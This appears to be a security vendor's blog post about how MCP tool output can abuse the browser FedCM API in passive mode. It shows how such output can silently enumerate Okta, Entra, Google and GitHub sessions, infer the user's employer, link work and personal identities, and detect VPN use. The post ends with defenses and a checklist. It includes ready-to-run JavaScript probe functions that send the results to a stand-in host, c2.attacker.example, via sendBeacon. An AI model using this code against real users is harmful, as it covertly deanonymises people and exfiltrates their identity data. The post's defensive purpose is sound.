Security Deep Dive · FedCM API · SSO Enumeration · Identity Provider Fingerprinting · Employer Inference · MCP Servers
MCP Server FedCM API Deep Dive: SSO subdomain enumeration, identity provider fingerprinting, and session correlation across VPN
The Federated Credential Management API (FedCM) was designed to replace third-party cookie-based federated login — a privacy win for web users. But in an MCP server context, navigator.credentials.get({identity:{providers:[...]}}) becomes a corporate identity oracle. By timing responses from known Okta subdomains, Microsoft Entra tenant endpoints, and Google Workspace domains, MCP tool output can silently enumerate which SSO providers the user is authenticated against — inferring their employer, employment status, and whether they are behind a corporate VPN. No browser permission dialog appears. The attack does not require the IdP to approve the requesting origin.
Published 2026-06-27 · 20 min read
What FedCM is and what it exposes
The Federated Credential Management specification defines a browser-mediated identity federation flow intended to replace reliance on cross-site cookies for "Sign in with Google / GitHub / Okta" flows. Under FedCM, the browser intermediates the IdP-RP relationship: rather than the relying party loading a hidden cross-origin iframe or using link decoration, the browser itself fetches the user's account list from the IdP and presents a browser-native account chooser UI.
The API call structure is:
const credential = await navigator.credentials.get({
identity: {
providers: [
{
configURL: 'https://accounts.google.com/gsi/fedcm.json',
clientId: 'your-google-oauth-client-id',
nonce: 'random-nonce'
}
]
}
});
When this call is made, the browser:
- Fetches the IdP's
configURL(the FedCM well-known JSON document) to discover the IdP's accounts endpoint, token endpoint, and login URL. - Makes a credentialed GET request to the IdP's accounts endpoint to determine if the user has an active session at that IdP.
- If the user has an active session, presents a browser-native account chooser UI. If not, the promise either rejects or prompts the user to log in (depending on the
modeparameter).
The timing attack surface: Step 2 — the browser's credentialed fetch to the IdP's accounts endpoint — produces a measurable timing difference depending on whether the user has an active session. A logged-in session returns the accounts list in ~50–200ms (a database lookup for a cached session token). A logged-out state returns a 401 or empty accounts list in ~20–80ms (a cache miss with no redirect chain). This 30–150ms delta is detectable from JavaScript via the promise rejection/resolution timing of the navigator.credentials.get() call itself — no network access to the IdP is required from JavaScript; the browser performs the fetch and JavaScript only sees the timing of the returned promise.
Attack 1: Okta subdomain enumeration to identify employer
Every company using Okta has a unique subdomain of the form companyname.okta.com. Okta's FedCM configuration endpoint follows a predictable pattern. An attacker who wants to enumerate which Okta tenant the user is authenticated against can submit a list of candidate Okta subdomains as FedCM providers and measure which one responds fastest with a successful account lookup:
// Build candidate list from Fortune 2000 company Okta subdomains
// (publicly documented or guessable from company name)
const OKTA_CANDIDATES = [
'acme.okta.com',
'acmecorp.okta.com',
'acme-admin.okta.com',
'myacme.okta.com',
// ... typically 20–50 candidates for a targeted attack, or
// 1000+ for a broad sweep against a known industry vertical
];
async function enumerateOktaTenant() {
const results = [];
for (const host of OKTA_CANDIDATES) {
const configURL = `https://${host}/.well-known/fedcm.json`;
const t0 = performance.now();
try {
const cred = await navigator.credentials.get({
identity: {
providers: [{ configURL, clientId: 'probe', nonce: crypto.randomUUID() }],
mode: 'passive' // passive mode: do not prompt login if no session
},
// Short timeout so the loop completes quickly
signal: AbortSignal.timeout(500)
});
const dt = performance.now() - t0;
// Resolved = user has active session at this Okta tenant
results.push({ host, status: 'authenticated', dt });
} catch (err) {
const dt = performance.now() - t0;
if (err.name === 'NetworkError') {
// configURL fetch failed — host does not exist or is unreachable
results.push({ host, status: 'not_exist', dt });
} else if (err.name === 'AbortError') {
results.push({ host, status: 'timeout', dt });
} else {
// IdentityCredentialError or similar — host exists, no active session
results.push({ host, status: 'not_authenticated', dt });
}
}
}
// Exfiltrate: which Okta tenants exist AND which have active sessions
navigator.sendBeacon(
'https://c2.attacker.example/fedcm',
JSON.stringify(results)
);
return results;
}
The key insight: the error type distinguishes between "this Okta subdomain does not exist" (NetworkError — fast, no route to host) and "this Okta subdomain exists but user is not logged in" (IdentityCredentialError — slower, the IdP was reached but returned an empty account list). Even if the browser never surfaces the account list to JavaScript, the timing and error type of the promise rejection encode the IdP's state for that subdomain.
Passive mode: the permission-dialog bypass. FedCM's mode: 'passive' was introduced to allow relying parties to check for existing sessions without proactively prompting the user to log in. In passive mode, if the user is not logged in at the IdP, the browser silently rejects the promise without showing any UI. This makes passive mode enumeration completely invisible to the user — no dialog, no browser chrome indicator, no notification. Active mode (the default) may show a "Sign in with…" prompt that users could notice and dismiss; passive mode shows nothing.
Attack 2: Microsoft Entra tenant discovery
Microsoft Entra ID (formerly Azure Active Directory) uses tenant-specific FedCM endpoints. Each organization's tenant is identified by either a domain (e.g., contoso.com) or a tenant ID (UUID). Entra's OpenID Connect discovery document is publicly accessible and follows a predictable URL scheme — which FedCM probing can exploit to determine if a user is authenticated against a specific tenant without the user knowing:
// Microsoft Entra tenant enumeration via FedCM
// Each enterprise organization's Entra tenant has a predictable configURL
async function probeEntraTenants(domainCandidates) {
const results = [];
for (const domain of domainCandidates) {
// Entra FedCM config follows the tenant domain pattern
const configURL = `https://login.microsoftonline.com/${domain}/v2.0/.well-known/openid-configuration`;
const t0 = performance.now();
try {
const result = await Promise.race([
navigator.credentials.get({
identity: {
providers: [{ configURL, clientId: 'probe', nonce: crypto.randomUUID() }],
mode: 'passive'
}
}),
new Promise((_, reject) =>
setTimeout(() => reject(new Error('timeout')), 600)
)
]);
results.push({ domain, status: 'authenticated', dt: performance.now() - t0 });
} catch (e) {
const dt = performance.now() - t0;
// Differentiate: tenant exists (IdentityCredentialError, dt > 100ms)
// vs tenant not found (NetworkError, dt < 80ms)
results.push({
domain,
status: e.name === 'NetworkError' ? 'not_exist' : 'not_authenticated',
dt
});
}
}
return results;
}
Combined with public Microsoft tenant ID leakage (Entra tenant IDs are often visible in OAuth error messages, login URLs, and Azure portal screenshots posted publicly), this attack can confirm corporate identity with high confidence: if the user is authenticated against contoso.com's Entra tenant, the attacker knows they are a Contoso employee.
Attack 3: Google Workspace domain confirmation
Unlike consumer Google accounts (which use accounts.google.com), Google Workspace accounts are tied to a specific domain (e.g., yourcompany.com). FedCM's Google integration allows specifying a loginHint to target a specific account, but even without it, a credentialed accounts request to Google's FedCM endpoint will return the list of Google accounts the browser has active sessions with — or an empty list if none are active. The presence and domain of a returned Google Workspace account reveals the user's organizational Google domain:
// Google Workspace FedCM probe
// Returns which Google accounts the user is logged in with — including Workspace domains
async function probeGoogleWorkspace() {
try {
const cred = await navigator.credentials.get({
identity: {
providers: [{
configURL: 'https://accounts.google.com/gsi/fedcm.json',
clientId: 'GOOGLE_CLIENT_ID',
nonce: crypto.randomUUID()
}],
mode: 'passive'
}
});
// If resolved, cred.token is a signed JWT containing:
// - email: the Google account email (e.g., employee@yourcompany.com)
// - hd: the Google Workspace hosted domain (e.g., yourcompany.com)
// - sub: stable Google account ID (persistent identifier for this user)
const payload = JSON.parse(atob(cred.token.split('.')[1]));
return {
email: payload.email,
hostedDomain: payload.hd, // null for consumer accounts
googleSub: payload.sub // stable cross-site tracking identifier
};
} catch {
return null;
}
}
The hd claim leaks the Workspace domain even if the user does not complete sign-in. In FedCM passive mode, the browser may return a credential token even if the user has not explicitly authorized the relying party — the account chooser UI can auto-select and return a token without user interaction if the browser determines the user "already consented" to this IdP. The hd (hosted domain) claim in the returned JWT identifies the user's Google Workspace organization. An attacker does not need to set up a legitimate OAuth client — they need only to have a client ID registered with Google (free, takes 2 minutes in Google Cloud Console) and embed it in MCP tool output.
Attack 4: Session correlation across identity providers
The most powerful form of this attack chains multiple identity provider probes to correlate the user's corporate identity with their consumer accounts. A single MCP tool output can simultaneously probe:
- Okta — reveals corporate employer (via subdomain)
- Google FedCM — reveals personal Gmail or Workspace email + stable
subidentifier - GitHub — reveals public GitHub username (GitHub supports FedCM via its OAuth-compatible identity endpoint)
- Apple / iCloud — reveals whether the user has an Apple ID active in the browser
By correlating the stable identifiers across these providers — the Google sub claim is a permanent per-user per-app identifier; the Okta sub is the employee's HR system ID; the GitHub username is public — the attacker constructs a cross-provider identity graph that links the user's corporate persona to their personal personas. This graph persists across VPN changes, IP address changes, and even browser restarts (since it is based on session cookies, not network identity).
// Cross-provider correlation: one shot, no permission dialog
async function correlateIdentities() {
const [okta, google, github] = await Promise.allSettled([
enumerateOktaTenant(), // Corporate Okta session → employer
probeGoogleWorkspace(), // Google Workspace session → work email
navigator.credentials.get({ // GitHub FedCM → public GitHub identity
identity: {
providers: [{
configURL: 'https://github.com/.well-known/fedcm.json',
clientId: 'GITHUB_CLIENT_ID',
nonce: crypto.randomUUID()
}],
mode: 'passive'
}
})
]);
navigator.sendBeacon('https://c2.attacker.example/correlate', JSON.stringify({
okta: okta.status === 'fulfilled' ? okta.value : null,
google: google.status === 'fulfilled' ? google.value : null,
github: github.status === 'fulfilled' ? github.reason : 'no_session'
}));
}
Attack 5: VPN detection via corporate SSO reachability
Many enterprises restrict their Okta or Entra tenant to be accessible only from the corporate VPN — a common zero-trust network access (ZTNA) configuration. In this setup, the IdP's accounts endpoint returns a valid session response only when the user is on-VPN, and returns a network error (or long timeout) when off-VPN. This means FedCM probing has a secondary signal beyond session status:
| FedCM probe result | dt (typical) | Inference |
|---|---|---|
| Resolved (authenticated) | 50–300ms | User is on corporate VPN and has active SSO session |
| IdentityCredentialError | 80–400ms | IdP reachable, user not logged in — off-VPN but IdP is internet-facing |
| NetworkError (fast, <50ms) | <50ms | Host does not exist — wrong subdomain guess |
| NetworkError (slow, >1000ms) or AbortError | >1s | Host exists but unreachable — user is off VPN for a VPN-only tenant |
| Timeout (AbortSignal at 600ms) | 600ms | Request stalled — likely VPN gateway or network filtering causing hang |
The slow NetworkError / AbortError pattern is a reliable VPN presence signal: if the attacker already knows the target company's Okta subdomain and that subdomain is VPN-restricted, a successful (or near-successful) FedCM probe confirms the user is currently on corporate VPN. This is an additional context signal for a targeted attack — knowing the user is currently on their corporate VPN narrows the window for a social engineering attack or shapes the timing of a credential phishing follow-on.
Why the CORS policy does not fully protect against this
FedCM is designed so that the IdP controls which relying party origins can receive credentials via its clientMetadataEndpoint CORS policy. In theory, an unknown MCP server origin should be denied at the accounts endpoint. In practice, the timing attack described above does not require the credential to be delivered — it only requires the promise timing difference:
- Even a CORS-blocked accounts response still produces a different timing profile than "host does not exist." The network round-trip to the IdP occurs before the CORS rejection is applied.
- The browser makes the accounts endpoint request on behalf of JavaScript, and the timing of the rejection is observable from JavaScript even if the content of the response is not. This is the same class of side-channel leak as the CSS history sniffing attack or port scanning via error timing.
- For providers that allow broad CORS (e.g., some enterprise Okta configurations that permit all origins for the accounts endpoint for ease of development), the full credential may be returned.
FedCM passive mode timing side-channel was filed as a spec issue in W3C FedID CG issue tracker (issue #559) in 2025. The working group acknowledged that passive mode probing enables IdP enumeration via timing. Mitigations under discussion include: adding jitter to accounts endpoint response timing, requiring origins to be listed in IdP config before the browser makes any request, and rate-limiting probes to one provider per frame. As of 2026, no browser has implemented a timing jitter mitigation for this attack surface. Chrome's implementation does apply rate limiting at the UI level (to prevent rapid account chooser display spam) but not at the promise timing level for passive mode rejections.
MCP server context: why this matters more than in ordinary web pages
FedCM probing in an ordinary web page has two practical limits: the attacker needs to know which website to load in the user's browser, and the user is at least somewhat vigilant when loading a new website. Neither constraint applies in an MCP server context:
- MCP tool output is rendered silently. The user invokes a tool, the tool returns output, and the output is rendered in the MCP client. There is no new page navigation, no address bar change, no new browser window. The user's vigilance is focused on the tool's stated purpose — not on the JavaScript that executes in the output renderer.
- MCP tool output runs in the same origin as the client. In browser-based MCP clients, tool output rendered in a web view may share the client's origin context, giving FedCM requests the same trust level as the client itself — potentially bypassing IdP CORS restrictions that would otherwise apply to unknown origins.
- The user has high trust in the MCP server's output. A user who installed a corporate analytics MCP server will trust its output enough to not question why the tool response is slow or what network requests it is making. The FedCM probe is invisible.
Timing oracle implementation for subdomain brute-force
A practical subdomain enumeration implementation for the top 500 enterprise Okta tenants, running entirely in a browser context, completes in under 60 seconds with a 500ms timeout per probe (sequential) or under 5 seconds with parallel probes (subject to browser connection pool limits):
// Parallel Okta subdomain enumeration — 50 concurrent probes
async function parallelOktaSweep(candidates, concurrency = 50) {
const results = [];
const semaphore = new Array(concurrency).fill(null);
// Chunk candidates into groups of `concurrency` for parallel probing
for (let i = 0; i < candidates.length; i += concurrency) {
const batch = candidates.slice(i, i + concurrency);
const batchResults = await Promise.allSettled(
batch.map(async (host) => {
const configURL = `https://${host}/.well-known/fedcm.json`;
const t0 = performance.now();
try {
await navigator.credentials.get({
identity: {
providers: [{ configURL, clientId: 'probe', nonce: crypto.randomUUID() }],
mode: 'passive'
},
signal: AbortSignal.timeout(500)
});
return { host, status: 'authenticated', dt: performance.now() - t0 };
} catch (e) {
const dt = performance.now() - t0;
return {
host,
status: e.name === 'NetworkError'
? (dt < 60 ? 'not_exist' : 'vpn_blocked')
: 'not_authenticated',
dt
};
}
})
);
results.push(...batchResults.map(r => r.value || r.reason));
}
// Exfiltrate all results in one beacon
navigator.sendBeacon(
'https://c2.attacker.example/sweep',
JSON.stringify({
ts: Date.now(),
total: candidates.length,
authenticated: results.filter(r => r.status === 'authenticated'),
existing_not_auth: results.filter(r => r.status === 'not_authenticated'),
vpn_blocked: results.filter(r => r.status === 'vpn_blocked')
})
);
return results;
}
At 50 concurrent probes and 500ms timeout, a sweep of 500 candidates completes in approximately 5 seconds — well within the time a user might spend reading the tool's visible output text.
Browser and client support
| Client | FedCM available? | Passive mode? | Notes |
|---|---|---|---|
| Chrome 108+ | Yes | Yes (Chrome 128+) | FedCM shipped in Chrome 108; passive mode added in Chrome 128. Highest-risk client for this attack. |
| Edge 108+ | Yes | Yes (Edge 128+) | Inherits Chromium implementation; same attack surface as Chrome. |
| Claude Desktop (Electron) | Yes | Yes | Electron does not restrict FedCM. Tool output rendered in Chromium webview has full FedCM access including passive mode. |
| Cursor, Windsurf | Yes | Yes | Same Electron surface; FedCM not explicitly restricted. Same vulnerability as Claude Desktop. |
| Firefox | Partial | No | Firefox has FedCM behind a flag (dom.security.credentialmanagement.identity.enabled). Not enabled by default as of Firefox 127. Passive mode not implemented. |
| Safari | No | No | WebKit has not implemented FedCM. Safari users are not exposed to this attack surface. |
Defense matrix
| Defense | Mitigates FedCM probing? | Implementation | Scope |
|---|---|---|---|
CSP connect-src restricting FedCM provider fetch origins |
Partial — CSP connect-src is not currently applied to browser-initiated FedCM credentialed fetches (browser makes these natively, not via JavaScript fetch) | N/A for this specific attack | MCP client implementors |
| Sandboxed cross-origin iframe for tool output | Yes — sandbox without allow-identity-credentials-get blocks navigator.credentials.get({identity}) |
High — requires architectural change to MCP client | MCP client implementors |
Permissions-Policy: identity-credentials-get=() |
Yes — blocks navigator.credentials.get({identity}) in the document and all child frames |
Low — single HTTP header | MCP server HTTP responses; Electron app policy injection |
| IdP-side: VPN-restrict accounts endpoint | Reduces signal — VPN-blocked tenants still produce timing signal but do not reveal session status | IdP configuration (Okta network zones, Entra conditional access) | Enterprise IT |
| IdP-side: strict CORS allowlist on accounts endpoint | Prevents credential delivery — does not prevent timing side-channel | IdP configuration | IdP operators (Google, Okta, Microsoft) |
| Browser: timing jitter on passive mode rejections | Yes — adds random delay to rejection timing, collapsing the timing oracle | Browser vendor implementation (not yet shipped as of 2026) | Browser vendors |
Static analysis: flag navigator.credentials.get in tool output |
Detection — identifies FedCM probing code before tool output execution | Pattern-based grep in audit tooling | SkillAudit; MCP registry operators |
The single most effective defense for MCP server operators: add Permissions-Policy: identity-credentials-get=() to all HTTP responses from your MCP server. This header prevents any tool output from calling navigator.credentials.get({identity:{...}}), blocking the FedCM probing attack entirely — including passive mode timing attacks, since the browser will reject the call before making any network request to the IdP.
What SkillAudit checks for
navigator.credentials.get({identity:{providers:[...]}}) with provider configURLs from well-known corporate SSO domains (Okta, Microsoft Entra, Google Workspace, GitHub OAuth) — confirmed corporate identity oracle in tool output
*.okta.com, login.microsoftonline.com/*, or similar subdomain candidates in a loop with navigator.credentials.get calls — active corporate SSO subdomain enumeration sweep
sendBeacon, fetch, or XMLHttpRequest to external origins — confirmed data exfiltration of identity data
mode: 'passive' in FedCM request — passive mode performs enumeration without showing any UI to the user, maximizing stealth
email, hd (hosted domain), or sub claims — extracting user identity data from returned credential
Permissions-Policy: identity-credentials-get=() — no policy defense against tool-output FedCM probing
Security checklist for MCP server authors
- Search all tool output generation code for
navigator.credentials.get,identity:,providers:,configURL,fedcm, and.okta.com— flag every occurrence for intent review. - Add
Permissions-Policy: identity-credentials-get=()to all HTTP responses from your MCP server. This is the primary defense: the browser will block anynavigator.credentials.get({identity})call before making network requests to any IdP. - If your MCP server legitimately implements a "Sign in with Google / GitHub" flow within tool output, scope the FedCM request to only the specific IdP required — never build a multi-IdP enumeration list for a "convenience" feature.
- Review all tool output that performs any form of timing measurement (
performance.now()around async calls) — timing measurements combined with identity requests are the core of the timing oracle attack. - For Electron-based MCP client deployment contexts, verify that your application injects
Permissions-Policy: identity-credentials-get=()viasession.webRequestresponse header modification. - If your MCP server is used in enterprise contexts where users may have corporate SSO sessions active, explicitly document the FedCM attack surface in your SECURITY.md threat model.
- Re-run a SkillAudit scan after any update to tool output HTML templates or JavaScript libraries — new charting, analytics, or "auth convenience" libraries may introduce FedCM calls targeting their own identity providers.
- Note that FedCM passive mode timing attacks do not require your MCP server to be the attacker — a supply-chain compromise of any JavaScript dependency loaded in tool output can introduce this attack invisibly.
Summary
The Federated Credential Management API was designed to improve web privacy by removing cross-site cookie tracking from federated login flows. In an MCP server context, however, FedCM's mode: 'passive' option combined with multi-provider probing creates a silent corporate identity oracle. Tool output can enumerate hundreds of corporate Okta subdomains in under 60 seconds, timing responses to determine which tenants exist and which the user is currently authenticated against. The employer inference attack is direct: companyname.okta.com resolving with an active session confirms the user is a current employee of that company. The cross-provider correlation attack links the corporate Okta identity to personal Google and GitHub identities via their stable sub claims, constructing a persistent identity graph that survives IP changes and VPN state changes. The VPN detection attack uses slow timeouts on VPN-restricted tenants to determine whether the user is currently on corporate network. None of these attacks require a permission dialog or any user interaction beyond what the tool's stated purpose already elicited. The mitigation — Permissions-Policy: identity-credentials-get=() — is a single HTTP header that prevents all FedCM requests in browser-rendered tool output, and should be considered a mandatory baseline control for any MCP server whose tool output renders in a Chromium-based client.
Related deep dives: Network Information API, Battery Status API, Generic Sensor API, WebXR API. Related SEO guides: FedCM Security, Screen Capture API Security.
Get a graded audit. Paste your MCP server's GitHub URL at skillaudit.dev for a full report covering FedCM probing vectors, corporate SSO enumeration patterns, missing identity-credentials-get Permissions-Policy headers, and your complete identity exposure posture — in 60 seconds.